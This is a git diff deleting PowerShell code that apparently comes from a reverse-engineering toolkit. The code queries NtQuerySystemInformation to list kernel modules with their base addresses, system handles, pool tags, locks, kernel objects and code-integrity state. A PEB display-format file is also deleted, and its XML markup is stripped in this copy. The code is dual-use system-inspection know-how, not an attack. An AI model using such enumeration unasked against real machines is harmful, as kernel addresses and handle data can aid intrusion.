- - try { $HandleInfoClass = [_SYSTEM_HANDLE_INFORMATION] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_HANDLE_INFORMATION', $StructAttributes, [ValueType], 1, $Size_SYSTEM_HANDLE_INFORMATION) - - $TypeBuilder.DefineField('UniqueProcessId', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('CreatorBackTraceIndex', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('ObjectTypeIndex', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('HandleAttribute', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('HandleValue', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Object', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('GrantedAccess', [UInt32], 'Public') | Out-Null - - $HandleInfoClass = $TypeBuilder.CreateType() - } - - try { $ModuleInfoClass = [_SYSTEM_MODULE] } catch [Management.Automation.RuntimeException] - { - $MarshalAsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($MarshalAsConstructor, @([Runtime.InteropServices.UnmanagedType]::ByValTStr), [Reflection.FieldInfo[]]@($SizeConst), @(256)) - - if ([IntPtr]::Size -eq 8) - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_MODULE', $StructAttributes, [ValueType], 1, $Size_SYSTEM_MODULE) - - $TypeBuilder.DefineField('Reserved1', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Reserved2', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageBaseAddress', [UInt64], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Flags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Index', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Rank', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('LoadCount', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NameOffset', [UInt16], 'Public') | Out-Null - $NameField = $TypeBuilder.DefineField('Name', [String], 'Public, HasFieldMarshal') - } - else - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_MODULE', $StructAttributes, [ValueType], 1, $Size_SYSTEM_MODULE) - - $TypeBuilder.DefineField('Reserved1', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Reserved2', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageBaseAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Flags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Index', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Rank', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('LoadCount', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NameOffset', [UInt16], 'Public') | Out-Null - $NameField = $TypeBuilder.DefineField('Name', [String], 'Public, HasFieldMarshal') - } - - $NameField.SetCustomAttribute($MarshalAsCustomAttribute) - $ModuleInfoClass = $TypeBuilder.CreateType() - } - - try { $LockInfoClass = [_SYSTEM_LOCK_INFORMATION] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_LOCK_INFORMATION', $StructAttributes, [ValueType], 1, $Size_SYSTEM_LOCK_INFORMATION) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - if ([IntPtr]::Size -eq 8) - { - $TypeBuilder.DefineField('Address', [IntPtr], 'Public').SetOffset(0) - $TypeBuilder.DefineField('Type', [UInt16], 'Public').SetOffset(8) - $TypeBuilder.DefineField('Reserved1', [UInt16], 'Public').SetOffset(10) - $TypeBuilder.DefineField('ExclusiveOwnerThreadId', [UInt32], 'Public').SetOffset(16) - $TypeBuilder.DefineField('ActiveCount', [UInt32], 'Public').SetOffset(24) - $TypeBuilder.DefineField('ContentionCount', [UInt32], 'Public').SetOffset(28) - $TypeBuilder.DefineField('Reserved2', [UInt32], 'Public').SetOffset(32) - $TypeBuilder.DefineField('Reserved3', [UInt32], 'Public').SetOffset(36) - $TypeBuilder.DefineField('NumberOfSharedWaiters', [UInt32], 'Public').SetOffset(40) - $TypeBuilder.DefineField('NumberOfExclusiveWaiters', [UInt32], 'Public').SetOffset(44) - } - else - { - $TypeBuilder.DefineField('Address', [IntPtr], 'Public').SetOffset(0) - $TypeBuilder.DefineField('Type', [UInt16], 'Public').SetOffset(4) - $TypeBuilder.DefineField('Reserved1', [UInt16], 'Public').SetOffset(6) - $TypeBuilder.DefineField('ExclusiveOwnerThreadId', [UInt32], 'Public').SetOffset(8) - $TypeBuilder.DefineField('ActiveCount', [UInt32], 'Public').SetOffset(12) - $TypeBuilder.DefineField('ContentionCount', [UInt32], 'Public').SetOffset(16) - $TypeBuilder.DefineField('Reserved2', [UInt32], 'Public').SetOffset(20) - $TypeBuilder.DefineField('Reserved3', [UInt32], 'Public').SetOffset(24) - $TypeBuilder.DefineField('NumberOfSharedWaiters', [UInt32], 'Public').SetOffset(28) - $TypeBuilder.DefineField('NumberOfExclusiveWaiters', [UInt32], 'Public').SetOffset(32) - } - - $LockInfoClass = $TypeBuilder.CreateType() - } - - try { $PoolTagInfoClass = [_SYSTEM_POOL_TAG_INFORMATION] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_POOL_TAG_INFORMATION', $StructAttributes, [ValueType], 4, $Size_SYSTEM_POOL_TAG_INFORMATION) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - if ([IntPtr]::Size -eq 8) - { - $TypeBuilder.DefineField('TagValue', [UInt32], 'Public, HasFieldMarshal').SetOffset(0) - $TypeBuilder.DefineField('PagedPoolAllocs', [UInt32], 'Public').SetOffset(4) - $TypeBuilder.DefineField('PagedPoolFrees', [UInt32], 'Public').SetOffset(8) - $TypeBuilder.DefineField('PagedPoolUsage', [UInt32], 'Public').SetOffset(16) - $TypeBuilder.DefineField('NonPagedPoolAllocs', [UInt32], 'Public').SetOffset(24) - $TypeBuilder.DefineField('NonPagedPoolFrees', [UInt32], 'Public').SetOffset(28) - $TypeBuilder.DefineField('NonPagedPoolUsage', [UInt32], 'Public').SetOffset(32) - } - else - { - $TypeBuilder.DefineField('TagValue', [UInt32], 'Public, HasFieldMarshal').SetOffset(0) - $TypeBuilder.DefineField('PagedPoolAllocs', [UInt32], 'Public').SetOffset(4) - $TypeBuilder.DefineField('PagedPoolFrees', [UInt32], 'Public').SetOffset(8) - $TypeBuilder.DefineField('PagedPoolUsage', [UInt32], 'Public').SetOffset(12) - $TypeBuilder.DefineField('NonPagedPoolAllocs', [UInt32], 'Public').SetOffset(16) - $TypeBuilder.DefineField('NonPagedPoolFrees', [UInt32], 'Public').SetOffset(20) - $TypeBuilder.DefineField('NonPagedPoolUsage', [UInt32], 'Public').SetOffset(24) - } - - $PoolTagInfoClass = $TypeBuilder.CreateType() - } - - try { $ObjectTypeClass = [_SYSTEM_OBJECTTYPE_INFORMATION] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_OBJECTTYPE_INFORMATION', $StructAttributes, [ValueType], 1, $Size_SYSTEM_OBJECTTYPE_INFORMATION) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - $TypeBuilder.DefineField('NextEntryOffset', [UInt32], 'Public').SetOffset(0x00) - $TypeBuilder.DefineField('NumberOfObjects', [UInt32], 'Public').SetOffset(0x04) - $TypeBuilder.DefineField('NumberOfHandles', [UInt32], 'Public').SetOffset(0x08) - $TypeBuilder.DefineField('TypeIndex', [UInt32], 'Public').SetOffset(0x0C) - $TypeBuilder.DefineField('InvalidAttributes', [UInt32], 'Public').SetOffset(0x10) - $TypeBuilder.DefineField('GenericMapping', $GenericMappingClass, 'Public').SetOffset(0x14) - $TypeBuilder.DefineField('ValidAccessMask', [UInt32], 'Public').SetOffset(0x24) - $TypeBuilder.DefineField('PoolType', $PoolType, 'Public').SetOffset(0x28) - $TypeBuilder.DefineField('SecurityRequired', [Byte], 'Public').SetOffset(0x2C) - $TypeBuilder.DefineField('WaitableObject', [Byte], 'Public').SetOffset(0x2D) - $TypeBuilder.DefineField('TypeName', $UnicodeStringClass, 'Public').SetOffset(0x30) - - $ObjectTypeClass = $TypeBuilder.CreateType() - } - - try { $ObjectTypeClass = [_SYSTEM_OBJECT_INFORMATION] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_OBJECT_INFORMATION', $StructAttributes, [ValueType], 1, $Size_SYSTEM_OBJECT_INFORMATION) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - if ([IntPtr]::Size -eq 8) - { - $TypeBuilder.DefineField('NextEntryOffset', [UInt32], 'Public').SetOffset(0x00) - $TypeBuilder.DefineField('Object', [IntPtr], 'Public').SetOffset(0x08) - $TypeBuilder.DefineField('CreatorUniqueProcess', [IntPtr], 'Public').SetOffset(0x10) - $TypeBuilder.DefineField('CreatorBackTraceIndex', [UInt16], 'Public').SetOffset(0x018) - $TypeBuilder.DefineField('Flags', [UInt16], 'Public').SetOffset(0x1A) - $TypeBuilder.DefineField('PointerCount', [Int32], 'Public').SetOffset(0x1C) - $TypeBuilder.DefineField('HandleCount', [Int32], 'Public').SetOffset(0x20) - $TypeBuilder.DefineField('PagedPoolCharge', [UInt32], 'Public').SetOffset(0x24) - $TypeBuilder.DefineField('NonPagedPoolCharge', [UInt32], 'Public').SetOffset(0x28) - $TypeBuilder.DefineField('ExclusiveProcessId', [IntPtr], 'Public').SetOffset(0x30) - $TypeBuilder.DefineField('SecurityDescriptor', [IntPtr], 'Public').SetOffset(0x38) - $TypeBuilder.DefineField('NameInfo', $UnicodeStringClass, 'Public').SetOffset(0x40) - } - else - { - $TypeBuilder.DefineField('NextEntryOffset', [UInt32], 'Public').SetOffset(0x00) - $TypeBuilder.DefineField('Object', [IntPtr], 'Public').SetOffset(0x04) - $TypeBuilder.DefineField('CreatorUniqueProcess', [IntPtr], 'Public').SetOffset(0x08) - $TypeBuilder.DefineField('CreatorBackTraceIndex', [UInt16], 'Public').SetOffset(0x0C) - $TypeBuilder.DefineField('Flags', [UInt16], 'Public').SetOffset(0x0E) - $TypeBuilder.DefineField('PointerCount', [Int32], 'Public').SetOffset(0x10) - $TypeBuilder.DefineField('HandleCount', [Int32], 'Public').SetOffset(0x14) - $TypeBuilder.DefineField('PagedPoolCharge', [UInt32], 'Public').SetOffset(0x18) - $TypeBuilder.DefineField('NonPagedPoolCharge', [UInt32], 'Public').SetOffset(0x1C) - $TypeBuilder.DefineField('ExclusiveProcessId', [IntPtr], 'Public').SetOffset(0x20) - $TypeBuilder.DefineField('SecurityDescriptor', [IntPtr], 'Public').SetOffset(0x24) - $TypeBuilder.DefineField('NameInfo', $UnicodeStringClass, 'Public').SetOffset(0x28) - } - - $ObjectClass = $TypeBuilder.CreateType() - } -#endregion - - # Local helper function for parsing structures returned by NtQuerySystemInformation that begin with a 'Count' field - function Local:Get-Struct($InformationClass, $StructType, $X86Size, $X64Size, $OffsetMultiplier, $ErrorText) - { - $TotalLength = 0 - $ReturnedLength = 0 - - if ([IntPtr]::Size -eq 8) - { - $StructSize = $X64Size - } - else - { - $StructSize = $X86Size - } - - if ((($ntdll::NtQuerySystemInformation($InformationClass, [IntPtr]::Zero, 0, [Ref] $TotalLength) -as $NtStatus) -ne $NtStatus::STATUS_INFO_LENGTH_MISMATCH) -and ($TotalLength -gt 0)) - { - Write-Error "Unable to obtain $($ErrorText) information." - return - } - - $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($TotalLength) - $ntdll::NtQuerySystemInformation($InformationClass, $PtrData, $TotalLength, [Ref] $ReturnedLength) | Out-Null - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) - - $PtrData2 = [Runtime.InteropServices.Marshal]::AllocHGlobal($ReturnedLength) - - if (($ntdll::NtQuerySystemInformation($InformationClass, $PtrData2, $ReturnedLength, [Ref] 0) -as $NtStatus) -ne $NtStatus::STATUS_SUCCESS) - { - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData2) - Write-Error "Unable to obtain $($ErrorText) information." - return - } - - # Retrieve the structure count - $Count = [Runtime.InteropServices.Marshal]::ReadInt32($PtrData2) - - # Point to the first structure - $StructAddress = ([IntPtr]($PtrData2.ToInt64() + ([IntPtr]::Size * $OffsetMultiplier))) - - foreach ($i in 0..($Count-1)) - { - [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $StructType) - $StructAddress = ([IntPtr]($StructAddress.ToInt64() + $StructSize)) - } - - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData2) - } - -#region Main program logic - switch ($PsCmdlet.ParameterSetName) - { - 'ModuleInformation' { - $Arguments = @{ - InformationClass = $SystemInformationClass::SystemModuleInformation - StructType = $ModuleInfoClass - X86Size = 284 - X64Size = 296 - OffsetMultiplier = 2 - ErrorText = 'system module' - } - - Get-Struct @Arguments - } - - 'PoolTagInformation' { - $Arguments = @{ - InformationClass = $SystemInformationClass::SystemPoolTagInformation - StructType = $PoolTagInfoClass - X86Size = 28 - X64Size = 40 - OffsetMultiplier = 1 - ErrorText = 'system pool tag' - } - - Get-Struct @Arguments | % { - $Result = @{ - Tag = [Text.Encoding]::ASCII.GetString([BitConverter]::GetBytes($_.TagValue)) - PagedPoolAllocs = $_.PagedPoolAllocs - PagedPoolFrees = $_.PagedPoolFrees - PagedPoolUsage = $_.PagedPoolUsage - NonPagedPoolAllocs = $_.NonPagedPoolAllocs - NonPagedPoolFrees = $_.NonPagedPoolFrees - NonPagedPoolUsage = $_.NonPagedPoolUsage - } - - $PoolTag = New-Object PSObject -Property $Result - $PoolTag.PSObject.TypeNames.Insert(0, '_SYSTEM_POOL_TAG_INFORMATION') - - Write-Output $PoolTag - } - } - - 'HandleInformation' { - # Get OS version info. This will be used to resolve object type index values - $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version - $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)" - - # Type indexes differ according to OS. These values were obtained via some KD-fu - switch ($OSMajorMinor) - { - '6.2' # Windows 8 and Windows Server 2012 - { - $IndexTable = @{ - 0x02 = 'Type' - 0x03 = 'Directory' - 0x04 = 'SymbolicLink' - 0x05 = 'Token' - 0x06 = 'Job' - 0x07 = 'Process' - 0x08 = 'Thread' - 0x09 = 'UserApcReserve' - 0x0A = 'IoCompletionReserve' - 0x0B = 'DebugObject' - 0x0C = 'Event' - 0x0D = 'EventPair' - 0x0E = 'Mutant' - 0x0F = 'Callback' - 0x10 = 'Semaphore' - 0x11 = 'Timer' - 0x12 = 'IRTimer' - 0x13 = 'Profile' - 0x14 = 'KeyedEvent' - 0x15 = 'WindowStation' - 0x16 = 'Desktop' - 0x17 = 'CompositionSurface' - 0x18 = 'TpWorkerFactory' - 0x19 = 'Adapter' - 0x1A = 'Controller' - 0x1B = 'Device' - 0x1C = 'Driver' - 0x1D = 'IoCompletion' - 0x1E = 'WaitCompletionPacket' - 0x1F = 'File' - 0x20 = 'TmTm' - 0x21 = 'TmTx' - 0x22 = 'TmRm' - 0x23 = 'TmEn' - 0x24 = 'Section' - 0x25 = 'Session' - 0x26 = 'Key' - 0x27 = 'ALPC Port' - 0x28 = 'PowerRequest' - 0x29 = 'WmiGuid' - 0x2A = 'EtwRegistration' - 0x2B = 'EtwConsumer' - 0x2C = 'FilterConnectionPort' - 0x2D = 'FilterCommunicationPort' - 0x2E = 'PcwObject' - 0x2F = 'DxgkSharedResource' - 0x30 = 'DxgkSharedSyncObject' - } - } - - '6.1' # Windows 7 and Window Server 2008 R2 - { - $IndexTable = @{ - 0x02 = 'Type' - 0x03 = 'Directory' - 0x04 = 'SymbolicLink' - 0x05 = 'Token' - 0x06 = 'Job' - 0x07 = 'Process' - 0x08 = 'Thread' - 0x09 = 'UserApcReserve' - 0x0a = 'IoCompletionReserve' - 0x0b = 'DebugObject' - 0x0c = 'Event' - 0x0d = 'EventPair' - 0x0e = 'Mutant' - 0x0f = 'Callback' - 0x10 = 'Semaphore' - 0x11 = 'Timer' - 0x12 = 'Profile' - 0x13 = 'KeyedEvent' - 0x14 = 'WindowStation' - 0x15 = 'Desktop' - 0x16 = 'TpWorkerFactory' - 0x17 = 'Adapter' - 0x18 = 'Controller' - 0x19 = 'Device' - 0x1a = 'Driver' - 0x1b = 'IoCompletion' - 0x1c = 'File' - 0x1d = 'TmTm' - 0x1e = 'TmTx' - 0x1f = 'TmRm' - 0x20 = 'TmEn' - 0x21 = 'Section' - 0x22 = 'Session' - 0x23 = 'Key' - 0x24 = 'ALPC Port' - 0x25 = 'PowerRequest' - 0x26 = 'WmiGuid' - 0x27 = 'EtwRegistration' - 0x28 = 'EtwConsumer' - 0x29 = 'FilterConnectionPort' - 0x2a = 'FilterCommunicationPort' - 0x2b = 'PcwObject' - } - } - - '6.0' # Windows Vista and Windows Server 2008 - { - $IndexTable = @{ - 0x01 = 'Type' - 0x02 = 'Directory' - 0x03 = 'SymbolicLink' - 0x04 = 'Token' - 0x05 = 'Job' - 0x06 = 'Process' - 0x07 = 'Thread' - 0x08 = 'DebugObject' - 0x09 = 'Event' - 0x0a = 'EventPair' - 0x0b = 'Mutant' - 0x0c = 'Callback' - 0x0d = 'Semaphore' - 0x0e = 'Timer' - 0x0f = 'Profile' - 0x10 = 'KeyedEvent' - 0x11 = 'WindowStation' - 0x12 = 'Desktop' - 0x13 = 'TpWorkerFactory' - 0x14 = 'Adapter' - 0x15 = 'Controller' - 0x16 = 'Device' - 0x17 = 'Driver' - 0x18 = 'IoCompletion' - 0x19 = 'File' - 0x1a = 'TmTm' - 0x1b = 'TmTx' - 0x1c = 'TmRm' - 0x1d = 'TmEn' - 0x1e = 'Section' - 0x1f = 'Session' - 0x20 = 'Key' - 0x21 = 'ALPC Port' - 0x22 = 'WmiGuid' - 0x23 = 'EtwRegistration' - 0x24 = 'FilterConnectionPort' - 0x25 = 'FilterCommunicationPort' - } - } - - '5.1' # Windows XP - { - $IndexTable = @{ - 0x01 = 'Type' - 0x02 = 'Directory' - 0x03 = 'SymbolicLink' - 0x04 = 'Token' - 0x05 = 'Process' - 0x06 = 'Thread' - 0x07 = 'Job' - 0x08 = 'DebugObject' - 0x09 = 'Event' - 0x0a = 'EventPair' - 0x0b = 'Mutant' - 0x0c = 'Callback' - 0x0d = 'Semaphore' - 0x0e = 'Timer' - 0x0f = 'Profile' - 0x10 = 'KeyedEvent' - 0x11 = 'WindowStation' - 0x12 = 'Desktop' - 0x13 = 'Section' - 0x14 = 'Key' - 0x15 = 'Port' - 0x16 = 'WaitablePort' - 0x17 = 'Adapter' - 0x18 = 'Controller' - 0x19 = 'Device' - 0x1a = 'Driver' - 0x1b = 'IoCompletion' - 0x1c = 'File' - 0x1d = 'WmiGuid' - 0x1e = 'FilterConnectionPort' - 0x1f = 'FilterCommunicationPort' - } - } - - default # I didn't feel like resolving the values for Server 2003 - { - $IndexTable = @{} - } - } - - $Arguments = @{ - InformationClass = $SystemInformationClass::SystemHandleInformation - StructType = $HandleInfoClass - X86Size = 16 - X64Size = 24 - OffsetMultiplier = 1 - ErrorText = 'system handle' - } - - Get-Struct @Arguments | % { - $Handle = $_.HandleAttribute -as $HandleFlags - if ($Handle -eq 0) {$HandleValue = $null} else {$HandleValue = $Handle} - - $Access = ( ($_.GrantedAccess -band 0xFFFF0000) -as $AccessMask ) - if ($Access -eq 0) {$AccessValue = $null} else {$AccessValue = $Access} - - $Result = @{ - UniqueProcessId = $_.UniqueProcessId - CreatorBackTraceIndex = $_.CreatorBackTraceIndex - ObjectTypeIndex = $_.ObjectTypeIndex - ObjectType = $IndexTable[([Int32]$_.ObjectTypeIndex)] - HandleAttribute = $HandleValue - HandleValue = $_.HandleValue - Object = $_.Object - GrantedAccess = $AccessValue - } - - $Handle = New-Object PSObject -Property $Result - $Handle.PSObject.TypeNames.Insert(0, '_SYSTEM_HANDLE_INFORMATION') - - if ($PSBoundParameters['ObjectType']) - { - if ($Result['ObjectType'] -eq $ObjectType) - { - Write-Output $Handle - } - } - else - { - Write-Output $Handle - } - } - } - - 'ObjectInformation' { - # Get system global flags first to ensure the correct flags are set - $Flags = Get-NtSystemInformation -GlobalFlags - - $RequiredFlags = [GLOBAL_FLAGS] 'FLG_MAINTAIN_OBJECT_TYPELIST, FLG_ENABLE_HANDLE_TYPE_TAGGING' - - if (($Flags -band $RequiredFlags) -ne $RequiredFlags) - { - Write-Error 'Global flags FLG_MAINTAIN_OBJECT_TYPELIST and FLG_ENABLE_HANDLE_TYPE_TAGGING have not been set. They must be set in gflags.exe (i.e. `gflags.exe -r +otl +eot`) or in the registry.' - return - } - - Write-Warning 'It can take over a minute to return object information. Please be patient.' - - $TotalLength = 1 - $ReturnedLength = 0 - $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($TotalLength) - - while ((($ntdll::NtQuerySystemInformation($SystemInformationClass::SystemObjectInformation, $PtrData, $TotalLength, [Ref] $ReturnedLength) -as [NTSTATUS]) -eq [NTSTATUS]::STATUS_INFO_LENGTH_MISMATCH)) - { - if ($TotalLength -ne $ReturnedLength) - { - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) - $TotalLength = $ReturnedLength - $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($TotalLength) - } - } - - $NextTypeOffset = 0 - - do - { - # Base address of the _SYSTEM_OBJECTTYPE_INFORMATION struct - $ObjectTypeAbsoluteAddress = [IntPtr]($PtrData.ToInt64() + $NextTypeOffset) - - $Result = [Runtime.InteropServices.Marshal]::PtrToStructure($ObjectTypeAbsoluteAddress, [Type] $ObjectTypeClass) - - if ($Result.NumberOfObjects -gt 0) - { - # Calculate the offset to the first _SYSTEM_OBJECT_INFORMATION structure - $NextObjectOffset = $Size_SYSTEM_OBJECTTYPE_INFORMATION + $Result.TypeName.MaximumLength - $ObjectBaseAddr = $ObjectTypeAbsoluteAddress - - $ObjectArray = @() - - do - { - $ObjectResult = [Runtime.InteropServices.Marshal]::PtrToStructure(( [IntPtr]($ObjectBaseAddr.ToInt64() + $NextObjectOffset) ), [Type] $ObjectClass) - - $ResultHashTable2 = @{ - Object = $ObjectResult.Object - CreatorUniqueProcess = $ObjectResult.CreatorUniqueProcess - CreatorBackTraceIndex = $ObjectResult.CreatorBackTraceIndex - Flags = ($ObjectResult.Flags -as $ObjectFlags) - PointerCount = $ObjectResult.PointerCount - HandleCount = $ObjectResult.HandleCount - PagedPoolCharge = $ObjectResult.PagedPoolCharge - NonPagedPoolCharge = $ObjectResult.NonPagedPoolCharge - ExclusiveProcessId = $ObjectResult.ExclusiveProcessId - SecurityDescriptor = $ObjectResult.SecurityDescriptor - NameInfo = $ObjectResult.NameInfo.Buffer - } - - $Object = New-Object PSObject -Property $ResultHashTable2 - $Object.PSObject.TypeNames.Insert(0, '_SYSTEM_OBJECT_INFORMATION') - - $ObjectArray += $Object - - $NextObjectOffset = $ObjectResult.NextEntryOffset - $ObjectBaseAddr = $PtrData - } while ($ObjectResult.NextEntryOffset -ne 0) - } - - $Access = ( ($_.ValidAccessMask -band 0xFFFF0000) -as $AccessMask ) - if ($Access -eq 0) {$AccessValue = $null} else {$AccessValue = $Access} - - $ResultHashTable = @{ - NumberOfObjects = $Result.NumberOfObjects - NumberOfHandles = $Result.NumberOfHandles - TypeIndex = $Result.TypeIndex - InvalidAttributes = ($Result.InvalidAttributes -as $ObjectAttributes) - GenericMapping = $Result.GenericMapping - ValidAccessMask = $AccessValue - PoolType = $Result.PoolType - SecurityRequired = $Result.SecurityRequired - WaitableObject = $Result.WaitableObject - TypeName = $Result.TypeName.Buffer - Objects = $ObjectArray - } - - $ObjectType = New-Object PSObject -Property $ResultHashTable - $ObjectType.PSObject.TypeNames.Insert(0, '_SYSTEM_OBJECTTYPE_INFORMATION') - - Write-Output $ObjectType - - $NextTypeOffset = $Result.NextEntryOffset - } while ($NextTypeOffset -ne 0) - - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) - } - - 'LockInformation' { - $Arguments = @{ - InformationClass = $SystemInformationClass::SystemLockInformation - StructType = $LockInfoClass - X86Size = 36 - X64Size = 48 - OffsetMultiplier = 1 - ErrorText = 'system lock' - } - - Get-Struct @Arguments - } - - 'CodeIntegrityInformation' { - $CIStructLength = 8 - $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($CIStructLength) - [Runtime.InteropServices.Marshal]::WriteInt64($PtrData, 0) - [Runtime.InteropServices.Marshal]::WriteByte($PtrData, 8) # The length field in SYSTEM_CODEINTEGRITY_INFORMATION must be set to 8 - $ntdll::NtQuerySystemInformation($SystemInformationClass::SystemCodeIntegrityInformation, $PtrData, $CIStructLength, [Ref] 0) | Out-Null - $CIInfo = [Runtime.InteropServices.Marshal]::ReadInt32(([IntPtr]($PtrData.ToInt64() + 4))) - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) - - $ResultHashTable = @{ - CodeIntegrityOptions = $CIInfo - LockdownState = ($CIInfo -band 0x1C) -as $LockdownState - } - - $CodeIntegrityType = New-Object PSObject -Property $ResultHashTable - $CodeIntegrityType.PSObject.TypeNames.Insert(0, '_SYSTEM_CODEINTEGRITY_INFORMATION') - - Write-Output $CodeIntegrityType - } - - 'GlobalFlags' { - $TotalLength = 0 - $ReturnedLength = 0 - - if ((($ntdll::NtQuerySystemInformation($SystemInformationClass::SystemGlobalFlag, [IntPtr]::Zero, 0, [Ref] $TotalLength) -as [NTSTATUS]) -ne [NTSTATUS]::STATUS_INFO_LENGTH_MISMATCH) -and ($TotalLength -gt 0)) - { - Write-Error 'Unable to obtain global flags information information.' - } - else - { - $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($TotalLength) - $ntdll::NtQuerySystemInformation($SystemInformationClass::SystemGlobalFlag, $PtrData, $TotalLength, [Ref] $ReturnedLength) | Out-Null - $Gflags = [Runtime.InteropServices.Marshal]::ReadInt32($PtrData) -as $GFlagsEnum - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) - - Write-Output $Gflags - } - } - - default { return } - } -} -#endregion diff --git a/ReverseEngineering/Get-PEB.format.ps1xml b/ReverseEngineering/Get-PEB.format.ps1xml deleted file mode 100644 index 59b5362e..00000000 --- a/ReverseEngineering/Get-PEB.format.ps1xml +++ /dev/null @@ -1,1210 +0,0 @@ - - - - - - Both - - - - - - ProcessEnvironmentBlock_VistaView - - PEB.Vista - - - - - - - ProcessName - - - ProcessId - - - InheritedAddressSpace - - - ReadImageFileExecOptions - - - BeingDebugged - - - ImageUsesLargePages - - - IsProtectedProcess - - - IsLegacyProcess - - - IsImageDynamicallyRelocated - - - SkipPatchingUser32Forwarders - - - IsPackagedProcess - - - IsAppContainer - - - - "0x$($_.Mutant.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ImageBaseAddress.ToString("X$([IntPtr]::Size * 2)"))" - - - Ldr - - - InLoadOrderModuleList - - - InMemoryOrderModuleList - - - InInitializationOrderModuleList - - - ProcessParameters - - - - "0x$($_.SubSystemData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessHeap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FastPebLock.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.AtlThunkSListPtr.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.IFEOKey.ToString("X$([IntPtr]::Size * 2)"))" - - - ProcessInJob - - - ProcessInitializing - - - ProcessUsingVEH - - - ProcessUsingVCH - - - ProcessUsingFTH - - - - "0x$($_.KernelCallbackTable.ToString("X$([IntPtr]::Size * 2)"))" - - - SystemReserved - 0x{0:X8} - - - AtlThunkSListPtr32 - 0x{0:X8} - - - - "0x$($_.ApiSetMap.ToString("X$([IntPtr]::Size * 2)"))" - - - TlsExpansionCounter - 0x{0:X8} - - - - "0x$($_.TlsBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.ReadOnlySharedMemoryBase.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HotpatchInformation.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ReadOnlyStaticServerData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.AnsiCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.OemCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.UnicodeCaseTableData.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfProcessors - 0x{0:X8} - - - NtGlobalFlag - 0x{0:X8} - - - CriticalSectionTimeout - 0x{0:X16} - - - - "0x$($_.HeapSegmentReserve.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapSegmentCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitTotalFreeThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitFreeBlockThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfHeaps - 0x{0:X8} - - - MaximumNumberOfHeaps - 0x{0:X8} - - - - "0x$($_.ProcessHeaps.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.GdiSharedHandleTable.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessStarterHelper.ToString("X$([IntPtr]::Size * 2)"))" - - - GdiDCAttributeList - 0x{0:X8} - - 